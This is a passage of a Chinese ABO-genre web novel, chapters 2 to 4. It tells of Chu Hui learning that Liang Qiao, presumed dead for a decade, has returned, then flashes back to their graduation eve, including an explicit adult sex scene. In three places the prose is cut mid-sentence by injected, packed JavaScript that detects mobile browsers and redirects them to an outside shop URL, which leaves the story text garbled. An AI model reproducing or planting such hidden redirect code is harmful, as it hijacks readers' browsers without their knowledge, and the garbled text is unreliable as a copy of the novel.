《浮游[ABO]》 2. chapter2 明天是工作日。 时间已经来到了凌晨三点,但楚洄还是睡不着。 他像个幽灵一样在家里游荡,借着窗外的月光四处摸索,最后慢慢停下脚步,停在了卫生间的镜子面前。 抬眼看去,镜子里的青年苍白着脸,长长的额发盖过眉梢,憔悴中带着几分阴郁。 胖了。瘦了。 其实他现在也不太搞得清楚自己身体的变化,他有一段时间疯狂迷恋甜食和肉类,导致身体像被吹起的气球一样胖了起来,后来又神经质地开始减肥,几番折腾下来只得到了一张又臭又长的诊断书,给他看诊的医生信誓旦旦地说他如果再这样下去绝对活不过十年。 真服了,怎么还有十年。 想到这里,他迅速垮下肩膀,又挪动着脚步游走了,过了一会儿发现自己实在无处可去,只能任由自己像一滩烂泥一样流进了沙发里。 安静了一会儿后,隔壁突然传来了情侣的吵架声,开门、摔门,Omega崩溃的声音愈发清晰,从对方的晚归指责到随地乱放的拖鞋,然后又控诉到在对方身上闻见的陌生信息素,最后来到那个所有情侣吵架时都会面对的灵魂问题——你就说你到底还爱不爱我? 砰一声,门关上了。 楚洄没有听见那个alpha的回答,慢吞吞地翻了个身,又把自己往沙发深处塞了塞。 消磨时间在这个时代是很简单的事情,毕竟只要你动动手指点开终端,里面就有各种各样的全息娱乐场任你选择,从北地极光到热带雨林,从沙漠戈壁到深海奇境,甚至还能潜游宇宙星河,实时观看地外环城的二十四小时建造直播。 那些光怪陆离的信息流和建筑上流光溢彩的霓虹灯组构着这个世界的虚幻与真实,可一旦闭上眼睛,所有的一切又变得痛苦而缓慢了起来。 一直到天快亮了,楚洄才感觉自己好像睡了一会儿,借着天边的那一缕熹光慢吞吞地从沙发里爬出来,穿衣、洗漱、整理背包,带上工作证,走出家门。 隔壁的情侣刚好也开门走出来,不知道什么时候又变得如胶似漆,他冷眼看着他们走过拐角时飞快地接了个吻,在心里默默诅咒他们明天就分手。 ——别人吵吵闹闹的幸福很轻易地刺伤了他,让他感觉自己像一条走在路边莫名其妙被踹了一脚的野狗。 “小楚啊,上班去啊。”迎面走来的是住在楼上的大爷,年过六旬精神矍铄,每天早上都要在家跳操打拳,放着音乐开着窗,声音大到左邻右舍连连投诉,唯有楚洄像个死人一样置之不理,结果就受到了对方的青睐。 受到青睐的第一件事就是被介绍给他的beta孙子当对象,那次楚洄只是一个人坐在公园里发呆,然后就眼睁睁地看着对方带着一个三十岁上下的男人走到了他面前,原本还有些不耐烦的男人在看到他的脸后默默变了神情,笑着说可以认识认识。 他不知道大爷是怎么和他说的,但遇到这种情况,他实在忍不住心头的恶念,于是也笑着说:“啊……如果你不介意我生过孩子的话。” 大爷脸色一变,让他不要胡说八道,然后楚洄就弯腰笑了起来,像是一个恶作剧得逞的小孩。 他就此被打上神经病的标签,或许还有私生活混乱或是放荡不堪,不过也不是没有好处,至少他少了很多烦恼,也终于不会再有人不长眼地来多管闲事,除了这个乱传他谣言的大爷。 所以听到这话,他只是神情敷衍地点了点头,嘴里嗯嗯啊啊地应着,很快就和他错身而过。 车已经在小区门口等着了,检测到楚洄靠近,车门自动打开上抬。 他俯身坐进去,中控台上的按钮适时亮起,浮现出的光幕正停留在他上次下车时浏览的新闻页面,他随手划过,直接进入了研究院的系统开始工作。 即便是3811年,早高峰这种东西还是顽固地存在于人类社会里,尤其是身为联邦中央区的兰度,好在0916驾驶向来稳定,像往常一样精准地赶在上班前一分钟把他送到了研究院门口。 “早上好,楚洄。” 门口的早晚安机器人自动抓取了他的身影和上班时间,自以为幽默地说:“距离上班时间还有三十秒,每天看你踩着迟到的边缘到达,真替你捏把汗,我想我应该给你颁一个suspenseful arrival奖。” 楚洄:“……” 到底是哪个智障写的程序。 他懒得搭理,直接迈步走了进去,同一个实验室的同事陈理咬着早餐跑进来,活力满满地和他打招呼,说:“早上好楚工!” 他递给他一个眼神,算作回应,对方显然已经习惯了他的态度,并不觉得冷漠,反而主动分了一个生煎给他,说:“详水路那家生煎店买的,尝尝!” 现在的餐饮流线80%都是人工智能在做,只要从库里选一个菜品,放入原配料,十分钟就能得到一盘色香味俱全的食物,也绝对称的上好吃,但毕竟人工智能不用吃饭,它们能做的也只是运行人类输入的程序,一道菜重复做十次,都是一模一样毫无变化的味道,想要吃什么新菜,还是只能找剩下20%的店。 “谢谢。”楚洄没拒绝,咬了一口后就开始了漫长的咀嚼,脑子里也开始胡思乱想,默默思索着上次张口吃的东西是什么。 ……好像是加班的时候喝的那瓶营养液。 他想不出来,干脆不想了,等吃完生煎后两个人也到了实验室,昨天还没跑完的测试今天依旧没跑完,慢吞吞地卡在进度条上等着他们。 陈理先跑去看了另一个有结果的实验,脸色一苦,说:“楚工,3A还是失败了,现在喷流方向的偏差已经超过了1.5°。” “知道了。” 楚洄淡声应答,似乎早就料到了这个结果,说:“换下一个材料重新做吧。” “哦、好。”陈理答应了一句,很快就离开走向了材料区,他走后不久,站在不远处的楚洄放下手中的东西,慢慢地挪到了他的位置。 失败的实验数据清晰又醒目,像是嘲笑他又一次的徒劳无功。 实验又重新回到了最繁琐的初始阶段。 到了下班时间,楚洄让陈理先走,自己则继续留在实验室整理先前的数据报告,快九点的时候,所有数据终于上传,一个通讯也划到了自己面前。 “您好,请问是楚洄先生吗?” 楚洄看也没看,继续理着桌上的纸质资料,疲惫地回复了一句:“哪位?” “您好,这里是联邦公民安全局特案处置处,我受命通知您一个消息……嗯,梁峭回来了,她要见你。” “……” 通讯那头陷入了短暂的沉默。 负责通知的工作人员以为他还需要时间来接受,耐心等了三秒,询问道:“您好?” 楚洄理好资料,终于腾出手来划掉通讯,眼皮都没抬一下,淡淡道:“滚。” “楚——” 工作人员锲而不舍地打到第四个电话后,那边总算没再划断,自动门关闭的嘀声充作了背景音,尔后是楚洄冷漠的警告:“没生意就去下城区找,我让人去光顾你。” “楚洄,”林愈行一把将通讯页面划到自己面前,说:“我是林愈——” “滚。” 通讯又被划断了。 “他好像不太相信我们,”工作人员觑了眼上司不太好看的脸色,迟疑地问:“……还打吗?” “我用我的私人通讯给他打。” 林愈行抬起腕间的个人终端,一个默认大小的光幕悬在了手腕上方,短暂的心理准备过后,她搜索到了楚洄的联系方式,划去通讯。 “我说——” “楚洄,我是林愈行,”她径直打断了他不耐烦的开场,迅速说道:“我知道你不相信我的话,几个小时前我也不相信,但事实就是如此,特案处的人发现有人使用梁峭的证件登录系统,自动定位后发现在禁三区,我在附近执行任务,最先接到了通知,赶去确认使用者的身份。” 她一口气说完,最后斩钉截铁道:“指纹、虹膜、DNA、信息素,现在所有的身份验证都已经通过了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921367|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就是梁峭。” “……虽然不知道为什么,也不知道当年到底发生了什么,但事实就是……她没死,她回来了。” 听着那边愈发沉重的呼吸声,林愈行心里也涌起了一丝不忍,顿了顿,道:“我们现在就在局里,你不相信就自己来看吧……她想见你。” 即便没听见对方任何明确的回应,但林愈行知道他已经听见了,最后说:“过来吧,她在等你。” 通讯划断,楚洄僵硬地站在原地,完全不知道现在应该干什么,直到一个同样晚归的同事走出来,路过时和他打招呼:“楚工,还不走吗?” 走近了,同事才发现他的脸色白得可怕,像是被什么吓到了一样,他正想询问发生了什么,对方突然就拔腿冲出了办公楼。 “诶……楚工——外面下雨!” 十几米的距离,他全身都被浇透,早晚安机器人抓取到他跑出残影的背影,发出两声开心的笑声,道:“哈哈,距离下班时间已经过去了四小时零五分钟,你一直不舍得离开办公室,一定有很大的收获吧。” 0916砰地一声关上车门,绝尘而去。 …… “见她之前,还有一个情况得和你说清楚,”林愈行看着浑身湿透,形容狼狈的楚洄,道:“她完全不记得这十年间发生的事情,医生说不排除记忆缺失的可能性。” “什么意思?”楚洄声音急促,目光不断地在各个办公区之间逡巡,试图越过林愈行往里走,心跳也快地像是要跳出来,不断地喃喃:“她人呢、她人呢?” “意思就是她可能会不记得你。”林愈行说出了最坏的一个可能性,一直试图推开自己的人突然定在了原地,像是听不懂似的看着她。 “这只是最差的一个情况……”林愈行抿了抿唇,说:“如果你做好准备了,我就带你去见她。” “我……”指甲深深地陷入了肉里,可强烈的痛感却无法让他清醒一分,脚步向前又退后,几乎是在原地打转,最后只能让自己面对着墙壁站着,瘦削的指骨横在齿间,没一会儿就被咬的鲜血淋漓。 “部长,”走廊那头走过来一个穿着制服的工作人员,对着这边轻声说:“局长出来了。” “好,”林愈行微微颔首,复又看向楚洄,问:“走吗?” “走。”楚洄控制不住地开始恍惚,但还是迈开脚步跟着林愈行往里走,长廊,外办公区,最后站在一个开着门的休息室前。 休息室里摆着沙发和茶几,一个握着水杯的身影安安静静地靠坐在那,楚洄看了一眼就几乎站不住,发抖,腿软,甚至连牙齿都在战栗。 幻觉、幻觉,不是,幻觉,在做梦…… “梁峭,”林愈行喊出了她的名字,说:“楚洄来了。” 房间里的人抬头望了过来。 对视的那一瞬间,楚洄感觉自己好像被什么锋利的东西突然刺穿了,他知道这是她——对他来说,确认眼前的人是梁峭这件事根本不需要什么手段,只需要一眼。 只需要这一眼。 早已模糊的悲伤和痛苦在这一刻变得无比真实又切骨,十年太短,十年太长,原以为看不到尽头的日子不知何时已经被抛到了身后,回头一望,竟觉得不过是弹指一挥间。 短短几步的距离,明明只要走过去就能抓住她,抓住这十年来接连不断的幻梦,但他却不知为什么在这一刻突然失去了所有的力气,只能扶着门框软倒在地上,又哭又笑,全身抖得不成样子。 “你……” 眼前很快就出现了一双手,是梁峭走到了他面前,被触碰的那一刻仿佛所有的一切都凝固了,楚洄猛然抬起头来,看着她嘴唇开合,可耳中却什么都没听见。 她眼里不太符合久别重逢的平静是那么刺眼,林愈行说的话也在脑海中响起,他不可置信又满心绝望,死死抓住她的手臂,说:“你要是敢问我是谁我就杀了你!” 梁峭安静了一瞬,随后伸出手轻缓地擦去了他脸上的雨水,轻声说:“……我是想问,你是淋雨来的吗?” 3. Chapter3 故事回到毕业前夕。 现在是3795年12月30日晚上21点34分。 末班空轨的静息屏上缓慢滑过实时变化的时间,人流穿过绚烂的霓虹灯光走下站台,再顺着立体的全息导视走出兰格利亚9号空轨站。 今天是限电日,街道上的人较之往日明显少了很多,四周的建筑也是黑漆漆的一片,只有零星的几片地方泛出亮光。 梁峭抬手将背包往肩上带了带,独自地走入漆黑的街巷中,拂来的夜风吹起了额发,被几根瘦削的长指随手别到了耳后。 她现在的住所位于学院的北3区,住的大多是学院的教授或是工作人员,还包括一些能力出众到需要被单独关照或是领取助学金的学生,她既属于前者也属于后者,所以理所当然地被安排到了这里。 9号站直通北3区,距离宿舍楼门口大概需要步行十分钟,刚走到楼底下,门口的摄像头就敏锐地识别到了来人的面容,在她踏上阶梯时无声开门,等脚步一转,门侧的电梯也已经敞开等候,精确无误地驶向已授权楼层。 时间来到了21点55分。 走出电梯,楼道里的应急灯随着她的经过渐次亮起,走廊尽头处的房门检测到她靠近自动打开,她卸下背包走进去,下意识地抬手开了灯。 屋内还是漆黑一片。 限电日。 她反应过来,解下腕间的终端放在桌面上,借着全息屏幕的光亮换鞋脱衣,走到洗手池旁洗了个手。 北3区的房子不算大,环境和月费一万的学生宿舍也没法比,一个全开放的厨房、一个卫生间,沙发面前的桌子既用来办公也用来吃饭,再隔着一个简单的栅格,后面就是一张不大的单人床。 梁峭走过去——那走前还打理得好好的床铺此刻一团乱,一大半被子堆在床尾,从里面伸出两条赤条条的长腿,在黑暗中格外醒目。 她脸上没出现什么意外的表情,或者说早就已经习惯了家中时不时多出一个人的情况,目光在室内逡巡,很快在床头的置物架上找到了某人乱丢的睡衣,垂下手轻轻一勾,握在掌心里。 被子被拉开了一点。 她挽住袖口,俯下身想给人穿上衣服,然而指尖才堪堪碰到对方的手腕,一阵风声就从耳边呼啸而过,刚刚还无知无觉睡着的人猛地睁开眼睛,膝盖一屈,用力朝她踢来,梁峭反应极快地往后闪了半步,一把握住了他的脚踝。 身体被制住,楚洄才看清站在床边的人是谁,眼里的警惕消失,又没骨头似的躺了回去,声音还带着一丝睡梦中的倦怠,说:“回来怎么不叫我。” 梁峭没说话,把睡衣丢给他,自己则走到衣柜旁边换衣服,等脱到最后一件,一双手从后面勾住了自己的肩膀,温热的吐息散在颈侧,说:“你刚从旧三区回来?” 她嗯了一声,把脱下来的衣服精准地扔进脏衣篓,正要去解裤子,一只手比自己更快地滑了下去。 他的语气丝毫不见暧昧,仿佛在做一件再自然不过的事情,说:“我帮你。” 梁峭:“……” 她下意识地伸手拦了拦,没拦住,楚洄很不在意地格开了她的手,昏暗的光线中看不清彼此的表情,等再靠近点,高低两道视线才模模糊糊地对上。 梁峭看着彻底贴到自己身上的人,一时间有些无言,捏紧他的手腕不让他乱动,说:“明天还要去学校。” “十分钟,”楚洄手腕被制住,还要贴过去亲她,含糊地说:“随便来,求你了,都快三个月没见了,我这次发热期都是打抑制剂的。” 梁峭被他亲的说不出话,到最后只能摊手妥协,说:“五分钟。” 五分钟也够了,梁峭没兴趣做全套,只拿了几根手指应付他,楚洄向来雷声大雨点小,没弄一会儿就握紧了她的手腕,不知道是要拽还是要推,她好心扶了把他的腰,平静地提醒道:“还有两分钟。” 他对她的冷淡有些不满,发出两声粘腻的哼声,哑着声音问:“你在外面偷吃饱了?” 梁峭没什么反应,微微动了动手腕,算是回答,楚洄一句话刚说完,被她的动作激地声调猛地一折,绷紧的脚面在床单上用力蹭了两下。 情潮像水,浮浮沉沉地找不到支点,而Omega低又复举的身体比水还潮湿柔软,本能攥紧床单,发出暧昧又嘶哑的低吟。 他在床上向来随心所欲,很快就叫得越来越肆无忌惮,从开始就没什么大反应的梁峭总算有了动作,抽开手按住他的腰背,不轻不重地把他埋进了枕头里。 楚洄正在兴头上,扭着腰想要挣脱,却被身后的人整个压在了身下,连带着双腕也被擒住,可就算是这样他的嘴巴还是不得闲,不停地说些没轻没重的浑话,恨不能让她好好收拾自己一顿。 他最喜欢的就是看梁峭因为自己露出隐忍而克制的一面,于是又开口胡乱地叫,老婆、姐姐、组长、主…… 下一个称呼还没叫完,梁峭伸手捂住了他的嘴,平静的声音就响在他的耳后,说:“闭嘴,骚.货。” 她的语气并不带丝毫轻视,仿佛只是在淡淡地陈述一个事实,楚洄的游刃有余在这两个字音落下的瞬间突然卡壳,一时间竟愣住了。 梁峭在床上很少说话,调情的话就更不用说了——楚洄被这一句话冲击地七零八落,还没等把自己重新拼起来,她的下一句又接踵而至,说:“你兴奋了。” 他仰头骂了一句脏话,缓了一口气才问:“谁教你的……” “你。”梁峭供认不讳。 楚洄一下笑出了声,连带着胸腔都在震颤,被擒在身后的双手不断摸索,碰到她紧实的腰线和明显绷紧的肌肉。 潮热的指尖像是钩子,一下接一下地挑拨两个人的理智,楚洄偏过头斜眼看她,唇畔含笑,眼尾含欲,声音因喑哑而显得半虚不实,问:“那你喜欢骚.货吗?” 好吧,梁峭在心里默默承认——几个月封闭式训练所积蓄起来的情绪显然不是五分钟就能缓解的,楚洄从她眼里看到了松动的信号,终于如愿以偿地勾引到人,彻底摊开手脚缠到她身上。 两人的身体素质报告常年位于97分以上,要是放在平时,很难说谁会在床上先认输,但这次楚洄不得不承认,一个刚结束封闭式训练的alpha确实不能轻易勾引,在彻底求饶前他试图撑住自己最后的脸面,边喘边笑着问:“这就是你的五分钟?” “别——”一秒钟没到,刚撑起的面子又塌了,他只好认命服软,指尖抠着床单抵御过载的快.感,头晕目眩道:“真不行了,啊……你就不能让让我——” 似痛似爽的喟叹,生理泪水毫无防备的溢出,无声地洇进枕头里。 太黑了。 整个城市都被换成了节能模式,二十层的高楼也无法捕捉到路边零星的灯光,楚洄什么也看不见,伸手往前摸索,碰到了梁峭微微有些汗湿的脸。 小臂用了点力,带着她的脖颈往下压,梁峭明白了他的意思,动作微顿,俯下身吻住了他的嘴唇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚洄耐着性子听完,又问她:“没有交到新朋友吗?” 梁峭说:“没有。” 她不是爱交朋友的性格,别人不主动找她,她甚至可以一整天都不说话,如果不是因为实力太强,可能连组队的人都凑不齐。 这个回答显然在楚洄的意料之内,但他还是装模做样地说:“要多交朋友知道吗?” 梁峭沉默了两秒,说:“你上次不是这么说的。” 上次梁峭只是在毕业考核上和一个抽签组队的Omega加了个通讯,他就问她是不是要逼死他。 楚洄也知道她说的上次是哪次,但他丝毫没有装大度被戳穿的脸红和心虚,反而理所当然地说:“Omega不行。” 见身边的人又熟练地沉默了,楚洄也不管她是默认了还是无所谓,硬是要她给个回应,追问道:“听见没有?” 梁峭没有第一时间回答,而是面无表情,淡淡地说了句:“哇塞。” 楚洄被她逗笑,在黑暗中伸出双手揉了揉她的脸,又扑上去,和她鼻尖相抵,问:“听见没有。” “哦。”梁峭慢吞吞地答应了一句。 单人床太过狭窄,随便动了动两个人就贴到了一起,楚洄干脆就着这个姿势趴到了她怀里,把踹到床尾的抱枕勾上来放到了墙边。 又问了几句想知道的事,楚洄总算心满意足地准备睡了,最后仰头索了一个晚安吻,动作熟练地把自己塞进了梁峭和枕头的缝隙间,闭上了眼睛。 4.Chapter4 早上8点20分,腕间的个人终端准时开始震动,梁峭率先清醒过来,睁开眼的第一件事便是按住楚洄缠在自己腰间的小腿,轻巧地打开这个把自己包围得密不透风的怀抱。 嘀嘀—— 限电日结束了,厨房里的各种烹饪机器准时开始运作,应该是楚洄昨天就准备好的食材,梁峭洗漱完走出卫生间,挽起袖子去端早餐。 整室的房间谈不上什么隔音,她也没刻意放缓动作,楚洄听到声音,睁开惺忪的睡眼懵懵地发了一会儿呆,随后拉长声音懒懒地喊了一声梁峭的名字。 梁峭没回答,惯常地用沉默来示意对方继续说,但等了好一会儿都没听到应有的回音,只好放下手的东西往床边走。 怎么了? 她站在床尾不远处,用眼神问出了这句话,没想到对方也回以沉默,自顾自地坐起来去脱睡衣。 单薄的套头式短衫,他反手交叉捏着衣摆往上拽,腰背微微挺直,露出极流畅细韧的线条,白皙的皮肤被窗外的阳光镀上一层薄薄的金光。 她看了两眼,这才像是想起来什么,顺手拾起沙发上的衬衫朝他走去,也不管他衣服是不是脱到一半,直接伸手握住了他的手腕。 “干什么——”短衫正好遮住了视线,双手也不上不下地举着,梁峭指腹微动,摩挲了一下他突起的腕骨,低下头随便找了个地方亲了亲。 轻飘飘的吻隔着衣服在眼睛上落定,下一秒手腕上的力道也随之松开,楚洄顺势脱下睡衣,明知故问道:“亲我干什么。” 梁峭倒是没觉出他这句话中的调情意味,只是道:“没忘。” 他们的早安吻。 这下他实在忍不住笑了,不轻不重地哼了一声,抬起光.裸双臂去勾她的脖颈,梁峭顺着他的动作低下头,又轻轻地在他唇角亲了亲。 三个月的封闭式训练,连只言片语都少有,原本楚洄并没有觉得有多想她,但现在人站在自己面前,他又一秒钟都分不开,亲着亲着双腿就熟练地架上了她的腰,非要她抱着自己去卫生间才肯洗漱。 两人黏了一会儿,好歹在九点前吃完早饭出了门——今天是3795年12月31日,兰格利亚联邦学院3795届——也就是他们的毕业典礼。 二人在宿舍楼下作别,并没有以同种交通工具出行,梁峭像往常一样步行至空轨站,去坐人满为患的空轨二号线,而楚洄则坐自己上个月才买的新车前往。 五年一度的毕业年莫不隆重,许多从这所学校走出去的知名校友都会在这一天被邀请回来为毕业生授予铭章,还会有很多前来观礼的老师或后辈,以至于今天空轨站的人不是一般的多,随便一望就能看见几个穿着相同制服的身影。 梁峭随着人群踏进门,像往常一样找了个靠车壁的位置站定,默默地看着自己周围的空间被挤压地分毫不剩。 “梁峭!” 一个经常在空轨站碰见的熟人艰难地穿过人群走到了她身边,刚倚着车门站定,就怨气十足地开始骂这该死的早高峰,梁峭时不时地在她以问号结尾时答应两声,但也不外乎只是“嗯”、“对”之类的字眼。 “拿到第一个季度的工资我就要买车!” 裴千诉用这句话结束了她长篇大论的控诉,空轨也顺利到站,二人并肩走下站台,和几个穿着同样制服的人一起走进了悬梯。 兰格利亚联邦学院作为与新联邦同时建立的最高级公共教育与技术继承体系,在整个联邦教育中的重要性不言而喻,它的毕业年每五年举行一次,毕业生需要同时通过毕业申请和最终考核才能拿到毕业资格,而两者的难度和手搓航艇不相上下,否则学院的延毕率也不会常年处于高位,甚至整整超过了毕业率三倍。 此次通过毕业考核的学生总共只有九百余人,年龄在十六岁到五十岁不等,最年轻的那位毕业生听说是位女性beta,在入学后的短短两年间就修完了普通人八年才能学完的课程,不仅顺利获得毕业考核资格,还以综合第一的成绩成为了3795届毕业生的一员。 可以说此人是个当之无愧的天才,不过在这座以严苛著称的学府中,最不缺的就是天才。 …… 随着悬梯落地,远远的钟声也从正前方传了过来,那是学院塔每周一九点整的晨钟,从这个位置仰头看,直接就能看到学院塔的塔顶。 作为兰格利亚联邦学院的标志性建筑,学院塔表面覆盖着深灰与冷蓝交替的结构层,在日照不足的时段,材料会自动降低反射率,就像处于深冬的今天——整座塔看起来像被云影包裹,格外壮观。 “裴千诉!梁峭!”走进学院大门,遇见的熟人就更多了,余阅从后方朝他们走来,身边跟着商雪繁。 他们四个再加上一个卫停都是一个作战小组的,从三年级组队开始就一起经历了大大小小无数场考试,自然也包括最重要的毕业考核。 “卫停呢?”裴千诉和两人打了个招呼,随口问了一句,余阅道:“哦,他昨晚又在实验室通宵了,这会儿应该先过去了。” “不是吧,他连熬多久了?” 余阅和裴千诉并肩走在了一起,商雪繁就自然而然地走到了梁峭身边,搭话道:“你这回去的旧三区?” 五个人里除了卫停之外都是安全与风险学院的,去联安局相当于专业对口,所以都去参加了这次的封闭式训练,只是没有分到一个区域。 听到他问,梁峭轻轻嗯了一声,没有主动多说,商雪繁只能没话找话,问:“怎么样,有把握吗?” “还行。” “那就是有了?”梁峭说还行几乎就是十拿九稳,商雪繁便另问道:“听说旧三区那边环境不太好?” “有点。” 那应该很差了。 “怪不得你看起来有点累。” 这回梁峭微抬了抬眼,说:“嗯。” 很难聊。 身后两个人的话题已经从卫停跳跃到了等会儿典礼结束后去哪聚会,而他们俩拢共加起来也没超过十句话,商雪繁无奈地弯了弯唇角,说:“说不定以后还能一起出任务。” “嗯。” 商雪繁:“……” 毕业典礼和往年一样在联邦最著名的方舟纪念堂举行,九百多人,每个人都安排了自己的位置,梁峭等人到的时候里面差不多已经坐满了人,放眼望去一片热闹祥和,所有人的脸上是如出一辙的轻松和期待—— 当然也应该期待——学院正中央的方舟纪念堂在当下为他们而开,联邦双子塔会持续十天不分昼夜地为他们亮起明灯,等几个小时后毕业铭章授予仪式结束的那一刻起,联邦政府90%的中高层空缺职务都会优先递到他们手中。 终于,人生不再是无休止的训练和课程,不再是连续被打回的毕业考核申请不通过,而是变成了光明、光明、光明的坦途。 全世界都会给他们让路的——至少在今天,几乎没有人会怀疑这一点。 只是再热闹快乐的氛围也总会有不合时宜的存在,至少对裴千诉来说是这样,注意到前方向他们走来的人,她顿时止住了刚说了一半的话,迈步从梁峭和商雪繁中间走出来。 联邦学院的培养模式从二年级开始就从个人转到了团体,此后无论是合作还是竞争,都会以这个不容更改的团体为单位进行,3795届加上往届遗留的延毕生一共近万人,但每次考试的第一名90%都会出在95V01或95V07小组之间,前者的组长是裴千诉,而后者的组长盛扶周现在就站在他们面前。 两个人中但凡换一个人当队长,可能见面时都会装装样子打声招呼,但偏偏是裴千诉和盛扶周,持续了三年的激烈竞争让他们看对方哪哪都不顺眼,一旦见面势必要呛声,认识他们的老师同学们也顺理成章地将这两组人视作了死对头——虽然事实也确实如此。 两个alpha气场凛然,都是一副要从气势上压倒对方的样子,连带着周围同学的说话声都小了许多,直到刚来的楚洄打着哈欠从盛扶周身后走出来,懒懒地看着对面几人,说:“这是干什么,要在方舟纪念堂打架吗?” 裴千诉对七组的人全都没什么好脸色,说:“也不是不可以。” 盛扶周不甘示弱,说:“行啊,那就算算这几年的总账。” 楚洄翻了个白眼,从梁峭后方越过人群,说:“嗯嗯嗯,算完小心训练成绩被作废。” 听到这话,两个人的脸色都变了变——他们都刚参加完联安局的训练,对结果已经十拿九稳,自然不想因为打架斗殴影响这个机会,但又都不想在对方面前率先落了下风,一时间还是没有动。 “你们alpha都这样吗?”商雪繁对着梁峭小声调侃了一句,伸手去拉裴千诉,说:“要打去训练场打,在纪念堂打就没意思了。” 盛扶周身后的人见状,也适时伸出一只手拉住他,说:“今天毕业典礼,别和一组的计较。” 两拨人明里暗里地递台阶,好歹是把两个人哄了下来,但面上依旧横眉冷对,用力地撞肩而过,去找自己位置坐下。 “真有节目,”看着一旁盛扶周偷偷揉肩膀的动作,楚洄毫不客气地嗤笑了一声,说:“谢谢你为我本就不错的心情锦上添花。” 盛扶周瞪了他一眼,咬牙切齿道:“我迟早要好好收拾她一顿!” “我迟早要把他打的跪地求饶!”裴千诉用力捏了捏拳,道:“狂什么狂,毕业考核还不是排在我们后面!整组的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938716|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没一个讨喜的,一个狂躁症一个花瓶一个装货一个伪人,还有盛扶周这个纯智障。” 梁峭:“……” “你说是不是,梁峭!” 没等梁峭回答,一旁的卫停弱弱地说了一句:“其实……楚洄应该不算……花瓶……” 他和楚洄是都是动力工程学院的,除了组队参加考核外也会有一些重合的课题,如果楚洄算花瓶的话,那也应该是最贵最有用的那个花瓶。 话说完,一旁的梁峭也嗯了一声,但裴千诉没在意她这声不大不小的应答,而是抱臂看向说话的卫停,说:“你到底站在谁那边的?” “嗯……”卫停又弱弱地低下了头,说:“你这边。” “这还差不多。”裴千诉情绪来得快去得也快,被哄高兴后马上把这群讨厌的人抛诸脑后,转而和他聊起了其它,梁峭熟练地保持沉默,坐在一旁安静地听着。 唉。 ———————————————————— 距离毕业典礼正式开始还有二十分钟的时候,学院的老师率先到达了纪念堂,按照排好的位置坐在了最外侧,将所有学生围合在中间。 坐在梁峭边上的正好是安全与风险学院的阿塔利老师,她主带三年级的必修课程,还和另一名老师共同指导过一组的极端环境安全学,和梁峭等人算是熟识,笑着打了声招呼,说:“今天上课的是纳特教授哦。” 毕业典礼的最后一课是兰格利亚近百年来的传统,来上课的也不乏新联邦政府中流砥柱的人物,上一届来上课的就是联邦议会现任议员之一的江长青,现在已经是联邦公民安全局的局长了。 “埃里案·纳特吗?”听到这个名字,卫停眼睛都亮了,向阿塔利确认道:“她不是在地外环城吗?” 阿塔利笑笑,说:“听说是校长亲自去请的,况且她是总设计师,又不用亲自下工地。” 埃里安·纳特是联邦最著名的工程师,也可以说是这个时代的一个传奇,不仅最先提出了有关于地外环城的构想,还真正地将它引入了正轨,不仅联邦纪要评价她是划时代的人物,很大一部分追随者甚至认为她以一己之力推动了人类文明。 “怪不得今年毕业典礼有这么多人。”裴千诉往纪念堂后方看了一眼,站着坐着的满满当当地全是人,比之往年超出几倍不止,显然都是来看这位工程师的。 “纳特教授的狂热追随者只多不少,尤其是工程学院的学生,”阿塔利笑着看了一眼卫停,温声说:“放平心态,教授不会希望你们过于激动的。” 然而卫停已经听不进去其它了,目光盯着门口的方向,用力点头道:“嗯嗯嗯!” 已经激动了啊。 埃里安·纳特已经年过九十,但精神矍铄,体态轻盈,在她出现在门前的那一刻,纪念堂中就响起了呼海啸般的欢呼,她脸上没出现意外的表情,露出一个和蔼又慈祥的微笑,站在讲台上微微欠身,给大家做了一个简短的自我介绍。 梁峭安静地看着她。 这位历经了七十年风雨飘摇,几乎与新联邦同岁的女人身上有一种包罗万象的气质,摊手、抬手、说话,和她在楚洄那本《承载极限导论》的书中看到的扉页照片完全不同,让人不由自主地想听她讲话,她也没有过多寒暄,很快就进入主题,在全息投影的屏幕中一笔一画地写下了两个字——死亡。 这是今天的课堂内容。 坐下的学生渐渐安静了。 巨大的字体以一种震撼的方式矗立在讲台边缘,所有人都意外地看着这一幕,直到埃里安纳特的身影穿过那两个字走出来,面带微笑,姿态从容地谈起了一段所有人都耳熟能详的历史—— 2991年,这是人类文明史的转折点。 地球在这一年进入了一场跨时代的环境灾难,位于美洲旧三区板块交汇处的格兰莫斯火山群在一个寂静的深夜发生了大规模的连动式喷发,长期的压力积累和地壳运动让它释放出了通红的岩浆和天文数字般的温室气体[1],而这些巨量的甲烷、二氧化碳和硫化物在短时间内突破了自然吸收能力,直接改变了大气的组成[2]。 短短数年间,全球的温室效应显著增强,平均气温也出现了极其不正常的跃升,过高的海面蒸发量使水汽在对流层累积,最终形成了持续性的快速水循环[3]。 